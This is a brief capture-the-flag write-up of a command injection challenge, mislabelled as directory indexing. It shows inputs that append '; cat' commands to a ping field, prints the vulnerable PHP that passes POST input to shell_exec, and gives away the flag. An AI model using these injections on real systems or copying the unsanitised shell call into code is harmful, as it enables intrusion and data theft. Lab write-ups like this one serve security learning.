HTTP - Directory indexing
Let's input 127.0.0.1
as the input field is suggesting.
We can see that our input is used to execute a ping
command.
We know the flag is on the index.php
file. In order to cat
the flag we need to use the ;
separator.
User Input
127.0.0.1 ; cat index.php
Looks like our input was processed properly. Let's check the source code.
The source code reveals an interesting piece of code.
PHP code
<?php
$flag = "".file_get_contents(".passwd")."";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
$response = shell_exec("timeout -k 5 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
echo $response;
}
?>
The line shell_exec("timeout -k 5 5 bash -c 'ping -c 3 ".$_POST["ip"]."'")
executes a shell command based on user input ($_POST["ip"]).
The line "".file_get_contents(".passwd").""
reads the content of a file named .passwd
and appends it to the $flag
variable.
Let's modify our input to cat
the .passwd
file.
User Input
127.0.0.1 ; cat .passwd
Flag
S3rv1ceP1n9Sup3rS3cure